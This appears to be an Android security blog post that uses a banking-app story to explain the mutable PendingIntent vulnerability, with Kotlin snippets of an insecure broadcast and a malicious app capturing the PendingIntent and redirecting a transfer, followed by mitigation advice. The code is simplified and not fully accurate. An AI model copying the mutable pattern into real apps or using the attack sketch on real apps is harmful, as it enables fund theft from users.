Understanding the Risks of PendingIntents
In the vast realm of Android development, one encounters a powerful tool known as Intents. These digital messengers enable communication between different components of an application or even between different applications. In this blog, we’ll explore the concept of Intents and their nuanced counterpart — PendingIntents.
Setting the Stage
Imagine Intents as messages passed between different parts of an Android application, allowing them to request actions from one another. These actions could range from launching a new activity to initiating a service or broadcasting system events.
Introducing PendingIntents:
Now, imagine a scenario where one application wishes to delegate a specific action to another, even if the originating app might not be alive at the moment. Enter PendingIntents — a reference to a token maintained by the Android system. This unique tool allows one application (let’s call it App A) to pass a PendingIntent to another (App B), enabling App B to execute predefined actions on behalf of App A.
The Vulnerability Unveiled: Mutable PendingIntents
In our story, App A, a trusted banking application, employs PendingIntents to delegate fund transfers. However, a flaw is discovered in its use of mutable PendingIntents, leaving a potential entry point for malicious actors.
// Code snippet from App A
val intent = Intent(ACTION_TRANSFER_FUNDS)
intent.setClassName("com.example.bank", "com.example.bank.TransferActivity")
val pendingIntent = PendingIntent.getActivity(
context,
0,
intent,
PendingIntent.FLAG_MUTABLE
)
The Malicious Twist
A cunning app (App B) with malicious intent identifies the vulnerability within App A. Using the mutable nature of the PendingIntent, App B crafts its own data into the mix, aiming for unauthorized access to non-exported components.
// Code snippet from App B
val maliciousIntent = Intent(ACTION_TRANSFER_FUNDS)
maliciousIntent.putExtra("toAccount", "maliciousAccount")
// App B obtains the PendingIntent from App A
val appAPendingIntent = getAppAPendingIntent()
// App B fills in its own data into the PendingIntent
appAPendingIntent.fillIn(maliciousIntent, PendingIntent.FILL_IN_DATA)
Obtaining the PendingIntent from App A — Proof of concept:
In reality, App B would need to somehow obtain the PendingIntent from App A. This could happen in various ways, such as if App A inadvertently exposes the PendingIntent or if App B has certain permissions allowing it to access components of App A.
For example, if App A has a broadcast receiver with an exported component, App B might dynamically register a receiver to listen for broadcasts sent by App A. If App A sends the PendingIntent as part of a broadcast, App B could capture it.
// Code snippet from App A broadcasting the PendingIntent
val intent = Intent(ACTION_TRANSFER_FUNDS)
intent.setClassName("com.example.bank", "com.example.bank.TransferActivity")
val pendingIntent = PendingIntent.getActivity(
context,
0,
intent,
PendingIntent.FLAG_MUTABLE
)
// Broadcasting the PendingIntent
val broadcastIntent = Intent("com.example.bank.ACTION_TRANSFER_BROADCAST")
broadcastIntent.putExtra("pendingIntent", pendingIntent)
context.sendBroadcast(broadcastIntent)
// Code snippet from App B to dynamically register a receiver
val receiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
// App B captures the PendingIntent from the broadcast
val capturedPendingIntent = intent?.getParcelableExtra<PendingIntent>("pendingIntent")
// Now App B can manipulate the captured PendingIntent
capturedPendingIntent?.fillIn(maliciousIntent, PendingIntent.FILL_IN_DATA)
}
}
// Register the receiver dynamically
val filter = IntentFilter("com.example.bank.ACTION_TRANSFER_BROADCAST")
context.registerReceiver(receiver, filter)
A Fund Transfer Gone Awry
The Consequence: As unsuspecting users initiate fund transfers through App A, the manipulated PendingIntent executes the action, sending money to the specified malicious account.
// Code snippet from App A
try {
appAPendingIntent.send()
} catch (e: PendingIntent.CanceledException) {
// Handle the exception
}
Lessons Learned
This tale serves as a cautionary reminder to developers. To safeguard against such digital intrusions, prioritize the use of PendingIntent.FLAG_IMMUTABLE
, validate user inputs meticulously, and ensure the robust security of your app's delegated actions.
As we navigate the intricate waters of Android development, let this story resonate — a call to fortify our digital realms against the lurking dangers of mutable PendingIntents. In your coding adventures, always be vigilant and stay one step ahead of potential vulnerabilities.
Secure coding 🚀 ✨